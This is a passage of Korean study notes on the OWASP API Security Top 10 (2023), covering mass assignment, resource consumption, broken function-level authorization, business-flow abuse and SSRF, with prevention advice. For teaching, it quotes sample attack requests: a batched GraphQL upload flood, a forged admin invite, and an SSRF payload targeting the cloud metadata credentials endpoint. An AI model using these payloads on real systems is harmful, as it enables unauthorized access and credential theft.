API 엔드포인트는 호스트가 내부 개체 속성인 total_stay_price에 접근 가능한지 검증하지 않기 때문에 취약하며,
게스트에게 보다 많은 요금을 청구할 수 있다.
📌 Scenario #3
짧은 비디오를 기반으로 하는 소셜 네트워크는 제한적인 컨텐츠 필터링 및 검열을 시행한다.
업로드된 비디오가 차단된 경우에도, 사용자는 다음 API 요청을 통해 비디오 설명을 수정할 수 있다.
PUT /api/video/update_video
{
"description": "a funny video about cats"
}
그런데 만약 사용자가 비디오의 차단 여부 필드에 대한 접근하는 것에 대해 적절한 검증을 수행하지 않으면?
{
"description": "a funny video about cats",
"blocked": false
}
API 엔드포인트는 사용자가 내부 개체 속성인 blocked에 접근 가능한 지에 대한 검증이 없고, 사용자가 이를 강제로 수정할 수 있다.
📌 How To Prevent
- API 엔드포인트를 사용하여 개체를 노출하는 경우, 사용자가 노출하는 개체 속성에 접근 가능한 지 항상 확인하라.
- `to_json()`및 `to_string()`과 같은 일반적인 메서드 대신, 특별히 반환하고 싶은 특정 객체 속성을 엄선하라.
- 쉽게 말해서 Entity 그대로 반환하지 말고, View로 사용할 DTO로 반환 정보를 명시적으로 적으라는 말이다.
- 가능하다면 클라이언트 입력을 코드 변수, 내부 객체 또는 객체 속성에 자동으로 바인딩하는 대량 할당 함수 사용은 피하라.
- 클라이언트에서 업데이트해야 하는 개체 속성에 대한 변경만을 허용해야 한다.
- 보안 추가 계층으로 스키마 기반 응답 검증 메커니즘을 구현하라. 이 메커니즘 일부로 모든 API 메서드에서 반환되는 데이터를 정의하고 적용하라.
- 엔드포인트의 비즈니스/기능 요구 사항에 따라 반환 데이터 구조를 최소한으로 유지하라.
5. API4:2023 - Unrestricted Resource Consumption
📌 무제한 자원 소비
API4:2023 Unrestricted Resource Consumption - OWASP API Security Top 10
API4:2023 Unrestricted Resource Consumption Threat agents/Attack vectors Security Weakness Impacts API Specific : Exploitability Average Prevalence Widespread : Detectability Easy Technical Severe : Business Specific Exploitation requires simple API reques
owasp.org
💡 API 요청으로 인한 과도한 자원 소비로 인해, 서비스 거부(DoS) 공격이 발생할 수 있다.
API 요청을 처리하려면 네트워크 대역폭, CPU, 메모리, 스토리지와 같은 리소스가 필요하다.
E-mail/SMS/Phone 또는 생체 인식 검증과 같은 다른 리소스는 API 통합을 통해, 서비스 제공자가 제공하여 요청당 비용을 지불한다.
성공적인 공격은 서비스 거부(Denial of Service) 또는 운영 비용 증가로 이어질 수 있다.
위협 요인 / 공격 벡터 | 보안 취약점 | 영향 |
API 특정: 악용 가능성 평균 | 유병률 널리 퍼짐 : 감지 쉬움 | 기술 심각함 : 비즈니스 특정 |
악용(explotation)은 간단한 API 요청을 필요로 한다. 다중 동시 요청들은 단일 로컬 컴퓨터에서 수행되거나, 클라우드 컴퓨팅 자원을 사용한다. 사용 가능한 대부분의 자동화 도구들이 높은 트래픽 부하를 통해 Dos를 유발하도록 설계되었고, 이는 API 서비스 속도에 영향을 미친다. |
클라이언트 상호작용이나 자원 소비에 대한 제한을 걸지 않은 API에서 흔히 찾을 수 있는 문제다. 반환할 리소스 수를 제어하는 매개변수를 포함하고, 응답 상태/시간/길이 분석을 수행하는 것과 같은 정교하게 만들어진 API 요청은 문제를 식별할 수 있어야 한다. 이는 일괄 처리 작업에도 동일하게 적용된다. 비록 위협 에이전트는 비용 영향에 대한 가시성이 없지만, 서비스 제공자(ex 클라우드 제공자)의 비즈니스/가격 책정 모델을 기반으로 이를 추론할 수 있어야 한다. |
공격은 리소스 부족으로 인한 DoS로 이어질 수도 있지만, CPU 수요 증가, 클라우드 스토리지 요구 증가 등으로 인해서 인프라와 관련된 비용 등 운영 비용이 증가할 수도 있다. |
이걸 실제로 고려해본 사례가 있다.
내가 진행했던 프로젝트에서 사용자가 회원가입 혹은 아이디/비밀번호 찾기를 수행하려면, 전화번호 인증을 해야 했다.
그럼 인증 코드를 입력한 전화번호로 전송해야 하는데, SMS 전송은 누가 꽁짜로 해주는 게 아니다.
당연히 AWS SNS를 사용했고, 사용한 만큼 비용을 지불하는 구조였다.
그런데 이걸 단순히 열여둔다면, 아주 간단한 쉘 스크립트로 무한 인증 코드 발급 요청을 보낼 수 있다는 건 누구나 알 수 있었다.
그래서 두 가지 관점에서제한 장치를 마련했다.
- IP 주소: 동일 IP에 대해서 일일 5회 제한
- 전화번호: 동일 전화번호에 대해서 5회 제한
전화번호만 트래픽 제한 장치를 걸면, 동일 IP에서 전화번호만 바꾸어서 무차별 공격을 가할 수 있다.
반대로 특정 IP에 대해서만 제한한다면, 여러 IP를 사용해 특정 전화번호로 스팸 폭탄을 가할 수 있다. (내 서버로 돈은 돈대로 빠져나가는데, 서비스 이미지만 나빠진다.)
하지만 여기서 도저히 해결하지 못한 건, IP 주소를 계속 바꾸면서 랜덤 전화번호로 요청을 전송하는 시나리오였다.
클라우드 업체를 이용해 여러 공용 IP 주소를 확보하는 건 어려운 일이 아니다.
이건 여전히 해결하지 못한 난제.
여튼 OWASP에서는 다음 제한 중 하나 이상이 누락되거나, 부적절하게 설정된 경우 API를 취약하다고 판단한다.
- 실행 시간 초과
- 최대 할당 가능 메모리
- 파일 기술자의 최대 수
- 최대 프로세스 수
- 최대 업로드 파일 크기
- 단일 API 클라이언트 요청에서 수행할 작업 수 (ex: GraphQL 배칭)
- 단일 요청-응답 구조에서 반환할 페이지 당 레코드 수
- 제 3자 서비스 제공자의 지출 한도
📌 Scenario #1
소셜 네트워크는 SMS 인증을 사용하여 "비밀번호를 잊어버리셨나요?" 흐름을 구현한다.
사용자가 SMS를 통해 일회성 토큰을 받고 비밀번호를 재설정할 수 있도록 만들었다.
제 3자 서비스 제공업체인 Willyo는 이러한 유형의 기능에 통화당 0.05달러를 청구한다.
공격자는 첫 번째 API 호출을 수만 번 보내는 스크립트를 작성한다면, 백엔드는 이를 따라 Willyo에게 수만 개의 문자 메시지를 보내라고 요청하여 회사는 몇 분 만에 수천 달러를 잃을 수 있다.
(이거 완전 나잖아.)
📌 Scenario #2
GraphQL API 엔드포인트를 사용하면 사용자가 프로필 사진을 업로드할 수 있다.
POST /graphql
{
"query": "mutation {
uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {
url
}
}"
}
업로드가 완료되면, API는 업로드된 사진에 따라 크기가 다른 여러 개의 썸네일을 생성한다.
이 그래픽 작업은 서버에서 많은 메모리를 차지한다.
API가 트래픽 처리율 제한 장치를 구현하고, 너무 큰 사진을 처리하지 않도록 썸네일을 생성하기 전에 업로드된 사진 크기를 확인한다고 하더라도
공격자는 GraphQL의 유연한 특성을 활용해, 이런 메커니즘을 우회할 수 있다.
POST /graphql
[
{"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
{"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
...
{"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"},
}
API는 작업을 시도할 수 있는 횟수를 제한하지 않으므로, uploadPic 호출로 인해 서버 메모리가 고갈되고, 정상적인 요청에 대한 서비스 거부가 발생한다.
요새는 이런 작업을 Serverless로 분리하긴 하나, 그만큼 AWS Lambda같은 실행 비용이 청구될 것이므로, 문제의 본질은 변하지 않는다.
📌 Scenario #3
서비스 제공자는 클라이언트가 API를 사용하여 임의로 큰 파일을 다운로드할 수 있도록 한다.
이러한 파일은 클라우드 개체 스토리지에 저장되며, 자주 변경되지 않는다.
서비스 제공자는 캐싱을 통해 더 나은 서비스 속도와 대역폭 소비를 낮게 유지한다. (이때, 캐시 서비스는 최대 15GB의 파일만 캐싱한다.)
파일 중 하나가 업데이트되면 크기가 18GB로 증가한다.
모든 서비스 클라이언트는 즉시 새 버전 가져오기를 시작하며, 소비 비용 알림이나 클라우드 서비스에 대한 최대 비용 허용 한도가 없으므로, 다음 월별 청구서는 평균 13달러에서 8,000달러로 증가한다.
📌 How To Prevent
- 컨테이너/서버리스 코드(ex: AWS Lambda)와 같이 메모리, CPU, 재시작 횟수, 파일 설명자, 프로세스를 쉽게 제한할 수 있는 솔루션을 사용하라.
- 시나리오2의 경우 리사이징 작업을 Lambda로 분리하고, Lambda 실행 규칙을 제한하면 완화할 수 있다.
- 문자열 최대 길이, 배열 최대 요소 수, 최대 업로드 파일 크기 등 모든 수신 매개변수와 페이로드에 대한 최대 데이터 크기를 정의하여 적용하라.
- 트래픽 제한 장치를 구현하라.
- 단, 트래픽 제한은 비즈니스 요구 사항에 따라 미세 조정이 필요할 수 있다.
- 단일 API 클라이언트가 단일 작업을 실행할 수 있는 횟수나 빈도를 제한/조절하라.
- 쿼리 문자열과 요청 본문 매개변수에 대한 적절한 서버 측 유효성 검사를 수행하라.
- 응답에서 반환되는 레코드 수를 제어하는 매개변수에 대한 유효성 검사를 추가하라.
- 사용자가 슬라이스 요청할 때, 요소 개수 1억 개 설정했다고 진짜 1억 개 반환하지 마라.
- 모든 서비스 제공자/API 통합에 대한 지출 한도를 구성하라.
- 지출 한도를 넘으면, 더이상 서비스가 동작하지 않도록 일단 막아라. (사용자 경험엔 최악이겠지만, 회사가 부도나는 것보다 낫지 않겠는가)
- 지출 한도를 설정할 수 없다면, 적어도 청구 알림을 구성해서 실시간으로 파악하라.
📌 Personal Opinion
- 가용성
- 사용자는 언제나 서비스를 원활하게 사용할 수 있어야 한다. 오작동이나 악의적인 공격으로 인해 서버 리소스가 부족해져, 정상적인 사용자가 서비스를 사용할 수 없는 사태는 방지해야 한다.
- 예상 서비스 트래픽양에 따른 CPU 사이클 양을 제한하고, 사용 가능한 메모리를 제한해야 한다. (시스템이 메모리 확보를 위해, 프로세스를 종료하는 사태를 방지) 또한, 동시에 열려 있는 파일, 네트워크 연결 및 프로세스 수를 제한하라.
- 메시지 처리량(특정 시간 동안 수신한 웹 서비스 요청 수)을 트래픽 제한 장치로 제어하라.
- XML DoS를 방지하라. (재귀적 페이로드, 과대 페이로드, 엔티티 확장 공)
- DoS 방지
- DoS는 API 가용성과 안정성에 대한 공격으로, API를 느리게 만들거나, 응답하지 않거나, 완전히 사용할 수 없도록 만들 수 있다.
- REST API의 경우 트래픽 처리율 제한 장치로도 대부분 완화할 수 있으나, 페이지네이션/슬라이드 요청에 대해 size 파라미터 제한을 걸지 않으면 문제가 발생할 수 있다.
- GraphQL의 경우엔 사용해보질 않아서, 해당 문서를 참고해보는 것이 좋을 듯 하다.
6. API5:2023 - Broken Function Level Authorization
📌 취약한 기능 수준 권한 부여
API5:2023 Broken Function Level Authorization - OWASP API Security Top 10
API5:2023 Broken Function Level Authorization Threat agents/Attack vectors Security Weakness Impacts API Specific : Exploitability Easy Prevalence Common : Detectability Easy Technical Severe : Business Specific Exploitation requires the attacker to send l
owasp.org
💡 관리자 기능과 일반 기능의 권한 구분이 불명확하여, 공격자가 권한을 상승시킬 수 있다.
서로 다른 계층, 그룹, 역할이 있는 복잡한 액세스 제어 정책과 관리 기능은 일반 기능 간의 불분명한 구분은 권한 부여 결함으로 이어지는 경향이 있다.
공격자는 이러한 문제를 악용하여 다른 사용자와의 리소스 또는 관리 기능에 액세스할 수 있다.
위협 요인 / 공격 벡터 | 보안 취약점 | 영향 |
API 특정: 악용 가능성 쉬움 | 유병률 일반 : 감지 쉬움 | 기술 심각 : 비즈니스 특정 |
공격자가 익명 사용자 또는 권한이 없는 사용자로 접근할 수 없는 API 엔드포인트에 합법적인 API 요청을 보낼 수 있다. 노출된 엔드포인트는 쉽게 악용될 것이다. |
함수나 자원에 대한 인증 검사는 일반적으로 설정 혹은 코드 레벨에서 관리된다. 최신 애플리케이션처럼 여러 유형의 역할, 그룹, 복잡한 사용자 계층(ex: 하위 사용자 또는 두 개 이상의 역할을 가진 사용자)이 포함된 경우, 적절한 검사를 구현하는 것은 혼란스러운 작업일 수 있다. API가 더 구조화되어 있고, 다양한 기능에 액세스하는 것이 더 예측 가능하므로, API에서 이러한 결함을 발견하는 것이 쉽다. |
이러한 결함들은 공격자가 허가되지 않은 기능에 접근할 수 있게 만든다. 관리자 기능들은 이런 유형의 공격에 주요 타겟이며, 데이터 공개, 데이터 손실, 데이터 조작을 유발할 수 있다. 궁극적으로, 서비스 중단까지 이어질 수 있다. |
누가 이런 실수를 하겠냐 싶겠지만, 시스템이 복잡해질 수록 생각보다 까다로운 문제가 된다.
예를 들어, 모든 사용자 리스트를 조회하는 GET 엔드포인트가 존재한다고 치자.
일반 사용자가 조회하면 일부 정보들만 확인할 수 있지만, 관리자가 조회하면 모든 정보들을 확인할 수 있다.
@GetMapping("/api/v1/users")
public List<UserResponse> getAllUserInformation(JWT jwt) {
Role role = jwtUtil.getRole(jwt);
List<UserResponse> res = new ArrayList<>();
if (role.isEquals()) {
res.addAll(userService.readAllByAdmin());
} else {
res.addAll(userService.readAllByMember());
}
return res;
}
사용자가 role을 선택할 수 있게 하면 엔드포인트 구조를 파악하고 있는 공격자가 이를 이용할 수 있으므로,
jwt에 정보를 추가하든, 세션을 쓰든, db를 조회하든 알맞게 처리하면 된다.
문제는 관리자라고 해서 다 같은 관리자가 아니고, 사용자라고 해서 또 그럴 보장이 없다는 점이다.
만약 개인 프로젝트거나, 학부생 수준의 프로젝트라면, 여기까지 고민하는 것은 오버엔지니어링일 수 있지만, 적어도 실무에서는 사용자 정보를 요청한 관리자의 직책이 무엇인지에 따라 노출되는 정보가 달라져야 할 필요성이 있을 수 있다.
또한 사용자 멤버쉽 개념이 있다면(ex: 프리미엄 계정은 다른 사용자들의 추가 정보를 볼 수 있음), 문제는 조금 더 복잡해진다.
이러한 복잡도의 증가는 개발자가 실수를 할 수 있는 가능성을 증대시킨다.
그리고 공격자는 언제나 이러한 빈틈을 파고든다.
📌 Scenario #1
초대된 사용자만 가입할 수 있는 애플리케이션 등록 프로세스에서 모바일 애플리케이션은 `GET /api/invites/{invite_guid}` 경로로 API 호출을 트리거한다.
응답에는 사용자의 역할(role)과 이메일을 포함하여, 초대에 대한 세부 정보가 포함되어 있다.
공격자는 요청을 복제하고 HTTP 메서드와 엔드포인트를 조작해 `POST /api/invites/new` 요청을 트리거한다.
해당 엔드포인트는 관리자 콘솔을 사용하는 관리자만 액세스해야 하며, 엔드포인트는 기능 수준 권한 부여 검사를 구현하지 않는다.
POST /api/invites/new
{
"email": "attacker@somehost.com",
"role":"admin"
}
공격자는 이 문제를 악용하여 관리자 권한이 있는 새 초대장을 전송하여 관리자 계정을 만들고, 시스템에 대한 전체 접근 권한을 얻을 수 있다.
...진짜 이렇게 구현한 서비스가 있다고...?
📌 Scenario #2
관리자에게만 노출되어야 할 `GET /api/admin/v1/users/all` 엔드포인트를 노출한 API가 있다.
해당 엔드포인트는 애플리케이션 내 모든 사용자 정보를 가져오며, 별도의 인가 검사가 구현되어있지 않다.
API 구조를 꿰고 있는 공격자는 이를 이용해, 애플리케이션 내 사용자들의 민감한 정보들을 확인할 수 있다.
📌 How To Prevent
애플리케이션에는 모든 비즈니스 기능에서 호출되는 일관되고 분석하기 쉬운 인가 모듈이 존재해야 한다.
이러한 보호는 보통 애플리케이션 코드 외부의 하나 이상의 컴포넌트에 의해 제공된다.
- 실행 메커니즘은 기본적으로 모든 접근을 거부하게 만들어라. 각 기능에 접근하기 위해서는 특정 역할에 대한 명시적인 허가가 필요하다.
- 애플리케이션의 비즈니스 로직과 그룹 계층 구조를 고려하여, API 엔드포인트의 기능 수준 인가 결함을 검토하라.
- 모든 관리자용 컨트롤러는 사용자의 그룹/역할 기반으로 인가 검사를 구현하는 관리자용 추상 컨트롤러를 상속받도록 만들어라.
- 일반 컨트롤러 내의 관리자 기능들도 사용자의 그룹과 역할 기반의 인가 검사를 구현해야 한다.
📌 Personal Opinion
- 클라이언트가 제공한 요청 파라미터로 권한 혹은 사용자 식별값을 사용하지 말고, 인증 토큰이나 세션으로부터 사용자 권한을 확인하는 것이 안전하다.
- 가능한 관리자 엔드포인트는 일반 사용자 엔드포인트와 분리하자.
- 만약 관리자 애플리케이션을 별도로 분리할 필요가 있거나, 그 정도 여유가 존재한다면 분리하는 것이 안전하다. 일반 사용자 애플리케이션은 public ip 접근을 허용하되, 관리자 애플리케이션은 vpn을 활성화해야 접근 가능하도록 조치할 수 있다.
- 애플리케이션 분리는 어렵더라도, 되도록 일반 사용자의 엔드포인트와는 클래스와 엔드 포인트를 분리하는 것이 안전하다.
- 인가 규칙을 명확하게 표현한 컴포넌트를 사용하고, 관리하라.
- Spring Security와 같은 프레임워크로 필터를 구현하든, OWASP에서 제시한 관리자용 인가 규칙이 정의된 추상 클래스를 이용하든, 되도록 인가 로직이 한 곳에 집중되도록 하는 것이 관리가 용이하다.
- 만약, 엔드포인트가 추가되거나, 관리자 기능이 추가/수정될 때마다 관리자가 하나하나 수정해야 한다면, 휴먼 에러로 인한 심각한 장애를 야기할 수 있다.
7. API6:2023 - Unrestricted Access to Sensitive Business Flows
📌 중요한 비즈니스 흐름에 대한 무제한 접근
API6:2023 Unrestricted Access to Sensitive Business Flows - OWASP API Security Top 10
API6:2023 Unrestricted Access to Sensitive Business Flows Threat agents/Attack vectors Security Weakness Impacts API Specific : Exploitability Easy Prevalence Widespread : Detectability Average Technical Moderate : Business Specific Exploitation usually in
owasp.org
💡 기능을 무제한 사용할 수 있을 경우, 비즈니스 피해가 발생할 수 있다.
티켓 구매, 댓글 작성과 같은 비즈니스 흐름을 제공하는 API들이 해당 위험에 취약하다.
이러한 기능이 제대로 된 보상 없이, 과도하게 자동화된 방식으로 사용될 경우 비즈니스에 피해를 줄 수 있다.
이는 반드시 구현 상의 결함으로 발생하지는 않는다.
위협 요인 / 공격 벡터 | 보안 취약점 | 영향 |
API 특정: 악용 가능성 쉬움 | 유병률 널리 퍼짐 : 감지 평균 | 기술 중간 : 비즈니스 특정 |
일반적으로 공격자가 API가 지원하는 비즈니스 모델을 이해하고 있을 때 악용될 수 있다. 민감한 비즈니스 흐름을 찾고, 이러한 흐름에 대한 액세스를 자동화하여 비즈니스에 피해를 입히는 것을 포함한다. |
비즈니스 요구 사항을 충분히 지원하려는 API의 총체적인 관점의 결여는 이 문제가 만연해지는데 기여한다. 공격자는 타겟 워크플로우의 어떤 자원(ex: 엔드포인트)이 관련이 있는지, 이들이 어떻게 함께 작동하는지 수동으로 식별한다. 완화 메커니즘이 이미 구현되어 있는 경우, 공격자는 이를 우회할 방법을 찾아야 한다. |
일반적으로 기술적 영향은 예상되지 않는다. 공격자는 다양한 방식으로 비즈니스에 피해를 줄 수 있다. 예를 들어, 합법적인 사용자가 제품을 구매하지 못하게 하거나, 게임 내부 경제에서 인플레이션을 일으킬 수도 있다. |
요약하자면, DoS 공격으로 가용성이나 시스템 훼손되지 않도록, 적절한 트래픽 제한 장치를 구현하라는 내용이다.
(악의적인 공격으로 판단될 경우엔 해당 IP의 접근을 막거나, 처음부터 막아두어야 할 IP 주소를 알아보는 내용도 있었다.)
API4:2023 - Unrestricted Resource Consumption처럼, 제 3자 외부 시스템에 비용이 빠져나갈 우려는 없지만,
예측 불가능한 측면에서 다양한 피해를 입을 수 있다.
- 인플레이션 유발(scalping): 공격자는 수요가 많은 품목의 모든 재고를 한 번에 구매하고, 더 높은 가격에 재판매할 수 있다.
- 스팸: 공격자가 시스템 혹은 다른 사용자에게 스팸을 보낼 수 있다.
- 예약: 공격자가 사용 가능한 모든 시간 슬롯을 예약하고, 다른 사용자에게 비싸게 되팔 수 있다.
- 가용성 장애: 공격자는 시스템이 감당할 수 없는 양의 트래픽을 전송하여, 정상적인 사용자가 시스템을 사용하지 못하게 만들 수 있다.
문제는 트래픽 처리 제한 장치의 기준이 회사마다, 도메인마다 다르다는 게 참 어려운 문제다.
어느 서비스에서는 스팸으로 간주하지만, 어느 서비스에서는 동일한 행위를 권장할 수도 있기 때문이다.
여튼, 중요한 점은 이를 상정해서 처리 제한 장치를 느슨하게 두는 것은 있을 수 있지만, 고려조차 하지 않는 것은 문제가 있다는 점이다.
🤔 DoS가 주요 의도가 아닐 수도 있다?
OWASP Automated Threats to Web Application의 Description을 읽어보면, HTTP-Flooding과 같은 DoS 공격으로 오인하는 경우가 많은데, 실은 이게 주요 의도가 아닌 부작용인 경우가 많다고 한다.
엥, 이게 먼 소리야.
가령 누군가 티켓 예매 사이트에서 자동화 봇을 이용해, 티켓을 대량으로 구매하려 한다고 가정해보자.
• 공격자 의도: 티켓을 대량 구매해서 더 비싼 가격으로 파는 것
• 부작용으로 인한 DoS: 봇이 너무 많은 요청을 보내서 서버에 과부하가 걸려, 다른 정상 사용자들이 티켓을 구매하지 못하는 상황
이때, 보안 담당자들은 '우리 사이트가 DoS 공격을 당하고 있다'고 보고할 수 있는데, 실제 의도는 그게 아닐 수 있다는 것이다.
즉, 문제의 본질(티켓 사재기 시도)을 정확히 파악하지 못하고, 증상(서비스 마비)만 보고하는 경우에 해당한다.
📌 Scenario #1
게임회사에서 새로운 게임 콘솔을 출시한다고 발표했다.
이 제품은 수요가 매우 높고, 재고는 제한적인 상황이다.
공격자가 코드를 작성하여, 자동으로 새 제품을 대부분 구매하고 거래를 완료한다.
또한, 출시일에 다양한 IP 주소와 위치에서 분산된 코드를 실행하여, 공격자가 합법적인 사용자보다 먼저 대부분의 주식을 매수할 수도 있다.
이후 공격자는 다른 플랫폼에서 훨씬 더 높은 가격에 해당 제품을 판매할 수 있다.
📌 Scenario #2
취소 수수료 없이 온라인 티켓 구매가 가능한 항공사가 있다.
공격자는 항공편의 좌석 90%를 예약할 뒤, 비행기 출발 며칠 전에 모든 티켓을 한꺼 번에 취소했다.
항공사는 항공편을 채우기 위해 티켓 가격을 할인해야 할 것이고, 이로 인해 금전적 피해를 입게 된다.
(이건 취소 수수료를 높여서 어느정도 완화할 수 있을 거 같긴 한데..)
📌 Scenario #3
카 셰어링 앱은 사용자가 그들의 친구들을 초대하고, 앱에 참여한 친구와 함께 크레딧을 가질 수 있다.
이 크레딧은 앱 내에서 카 셰어링 예약을 하는데 사용이 가능하다.
공격자가 자동 가입 프로세스 스크립트를 작성하여 결함을 악용한다면, 각각의 새로운 모든 사용자는 공격자의 지갑으로 크레딧을 저장한다.
이후 공격자는 무료로 서비스를 사용하거나, 과도한 크레딧이 있는 계정을 다른 사용자에게 판매할 수도 있다.
📌 How To Prevent
- Business
- 과도하게 사용될 경우에 비즈니스에 해를 끼칠 수 있는 기능을 파악해야 한다.
- Engineering
- Device fingerprinting: 식별을 목적으로 사용자 기기의 HW/SW에 대해 수집된 정보로써, 서버에서 예상치 않은 클라이언트의 장치(ex: headless browser)에 대한 접근을 막을 수 있다. 그럼 클라이언트는 보다 정교한 솔루션을 택해야 하므로, 공격 비용이 증가한다.
- 인간 감지: Captcha나 진보된 생체 인식 솔루션(ex: typing patterns)을 사용하여, 스크립트 공격을 방지할 수 있다.
- 비인간적 패턴: 사용자가 1초만에 "장바구니 담기"부터 "구매 완료"까지 도달하는 인간이 할 수 없는 패턴을 분석하여, 해당 사용자의 접근을 막을 수 있다.
- Tor exit nodes(Tor 네트워크에서 공용 인터넷으로 나가는 마지막 서버)나 이미 잘 알려진(악명높은) 프록시들의 IP 주소를 막는 것을 고려하라.
- B2B API나 개발자용 API는 일반 사용자용 API와 달리 기계(프로그램)가 직접 호출하는 경우가 많아서 보호되지 않은 경우가 많아 보안 취약점으로 작용할 수 있다. 이러한 API도 적절한 보안 조치를 수행하라.
8. API7:2023 - Server Side Request Forgery
📌 서버사이드 요청 위조 (SSRF)
API7:2023 Server Side Request Forgery - OWASP API Security Top 10
API7:2023 Server Side Request Forgery Threat agents/Attack vectors Security Weakness Impacts API Specific : Exploitability Easy Prevalence Common : Detectability Easy Technical Moderate : Business Specific Exploitation requires the attacker to find an API
owasp.org
💡 API가 외부 요청을 보낼 때, 입력값 검증이 부족하면 내부 시스템이 공격당할 수 있다.
서버 측 요청 위조(SSRF) 결함은 API가 사용자가 제공한 URI를 검증하지 않고, 원격 리소스를 fetch할 때 발생할 수 있다.
방화벽이나 VPN으로 보호되는 환경에서도 공격자가 정교하게 만든 조작된 요청을 보내, 애플리케이션이 예상치 못한 대상에 전송하도록 애플리케이션을 속일 수 있다.
위협 요인 / 공격 벡터 | 보안 취약점 | 영향 |
API 특정: 악용 가능성 쉬움 | 유병률 일반 : 감지 쉬움 | 기술 중간 : 비즈니스 특정 |
공격자가 클라이언트로부터 제공되는 URI에 접근하는 엔드 포인트를 찾아내는 것을 필요로 한다. 일반적으로, Basic SSRF(응답이 공격자에게 반환되는)는 Blined SSRF(공격자가 공격이 성공했는지 피드백을 받을 수 없는)보다 악용하기 쉽다. |
애플리케이션 개발에서 현대적 개념들은 개발자가 클라이언트로 부터 제공된 URI에 접근하도록 장려한다. 이러한 URI에 대한 검증 부족 혹은 부재는 흔한 문제다. 이러한 문제를 감지하려면 정기적인 API 요청 및 응답 분석이 필요하다. 응답이 반환되지 않는 Blind SSRF의 경우엔 취약한 요청을 감지하는데 더 많은 노력과 창의성이 요구된다. |
내부 서비스 열거(ex: 포트 스캐닝), 정보 공개, 방화벽 우회 또는 기타 보안 메커니즘으로 이어질 수 있다. 어떤 경우에는 DoS 또는 서버가 악의적인 활동을 숨기기 위한 프록시로 사용될 수도 있다. |
나와 같은 학생 신분이라면 보통 클라우드 정적 스토리지에 이미지를 저장하기 위해, presigned url을 사용하는 경우 발생할 수도 있는 문제다.
presigned url을 사용한 이미지 저장은 보통 다음과 같이 이루어진다.
- 인증된 사용자가 API로부터 저장하려는 이미지 정보와 함께 presigned url 발급.
- 사용자가 정적 스토리지에 이미지 저장.
- 사용자가 API로 저장한 이미지 url 전송
문제는 여기서 사용자가 이미지 url로 무슨 장난을 쳤을 지 알 수 없으니, 정말 이미지가 존재하는지 네트워크 요청을 보내봐야 한다.
여기에 조작된 URL을 사용하는 경우, 이상한 경로로 조회하게 되어 내부 시스템 정보가 유출될 수도 있다.
(보통은 AWS 정적 스토리지 라이브러리를 사용할 테니, 문제가 발생하지 않을 가능성이 클 거 같긴하다.)
📌 Scenario #1
한 소셜 네트워크는 사용자가 프로필 사진을 업로드할 수 있도록 한다.
사용자는 자신의 기기에서 이미지 파일을 업로드하거나, 이미지의 URL을 제공할 수 있다.
후자의 경우 다음의 API 호출이 발생한다.
POST /api/profile/upload_picture
{
"picture_url": "http://example.com/profile_pic.jpg"
}
만약, 개발자가 아무런 검증을 취하지 않는다면, 다음과 같은 공격이 가능하다.
{
"picture_url": "localhost:8080"
}
공격자는 응답 시간을 기준으로 포트의 개방 여부를 파악하는 포트 스캐닝을 할 수 있다.
📌 Scenario #2
보안 제품에서 네트워크 이상을 감지하면 이벤트를 발생시킨다.
일부 팀은 SIEM(Security Information and Event Management)과 같은 더 광범위하고, 일반적인 모니터링 시스템에서 이벤트를 검토하는 것을 선호한다.
이러한 목적을 위해, 제품은 웹훅을 사용하여 다른 시스템과의 통합을 제공한다.
새로운 웹훅을 생성하는 과정의 일부로 SIEM API의 URL과 함께, GraphQL mutation이 전송된다.
POST /graphql
[
{
"variables": {},
"query": "mutation {
createNotificationChannel(input: {
channelName: \"ch_piney\",
notificationChannelConfig: {
customWebhookChannelConfigs: [
{
url: \"http://www.siem-system.com/create_new_event\",
send_test_req: true
}
]
}
}){
channelId
}
}"
}
]
생성 과정에서 서버는 제공된 웹훅 URL로 테스트 요청을 보내고, 사용자에게 응답을 제시한다.
공격자는 해당 API 요청을 악용해, 내부 클라우드 메타데이터 서비스와 같은 자격 증명을 획득할 수 있는 API 요청을 만들 수 있다.
POST /graphql
[
{
"variables": {},
"query": "mutation {
createNotificationChannel(input: {
channelName: \"ch_piney\",
notificationChannelConfig: {
customWebhookChannelConfigs: [
{
url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\",
send_test_req: true
}
]
}
}) {
channelId
}
}
}
]
해당 애플리케이션은 요청에 대한 응답을 표시한다고 가정했으므로, 공격자는 클라우드 환경의 자격 증명을 확인할 수 있게 된다.
📌 How To Prevent
- 네트워크에서 리소스 가져오기 메커니즘을 분리하라.
- 일반적으로 이런 기능은 내부 리소스가 아니라, 원격 리소스를 검색하는 목적으로 사용하기 때문이다.
- 가능하다면 다음과 같은 허용 목록(allow list)을 사용하라.
- 리소스를 다운로드할 수 있는 원격 출처
- URL Scheme 및 Port
- 지정된 기능에 대해 허용되는 미디어 유형
- HTTP 리다이렉션을 비활성화하라.
- 공격자가 처음에는 안전해보이는 URL로 요청을 보내고, 리다이렉션으로 내부 시스템이나 민감한 엔드포인트로 접근할 수도 있다. (공격자가 "example.com/api/data"라는 엔드포인트로 "attacker.com/redirect"를 전송한 후, 서버의 내부 IP나 민감한 서비스 "localhost:8080/admin"과 같은 곳으로 리다이렉션시킬 수 있다.)
- API가 최초 요청한 URL에만 접근하고, 우회 접근을 할 수 없도록 방지하라.
- URL 파싱 불일치로 인해 발생하는 문제를 방지하려면, 잘 테스트되고 유지 관리가 되는 URL 파서를 사용하라.
- 클라이언트가 제공한 모든 입력 데이터를 검증하고 정리하라.
- 고객에게 저수준 정보를 노출하는 응답을 반환하지 마라.
📌 Personal Opinion
- URL의 패턴을 먼저 검증하는 것이 좋다. 그러나 이런 경우엔 허용 목록 접근 방식을 택하는 것이 더 올바르다.
- 나는 presigned url 이미지 확인 요청을 보내기 전에, URL 파싱 도구로 올바른 패턴으로 왔는지 확인하고 있다.
- Parser는 프로그래밍 언어에 따라서는 남용될 여지가 있기 때문에, 입력 검증이 사용될 때 허용 목록 접근 방식을 적용하는 것이 더 낫다.
- 이러한 시스템이 내부 네트워크 주소를 사용하는 경우는 거의 없을 것이다. 따라서 내부 네트워크 주소는 전면 차단해놓고 시작하자.
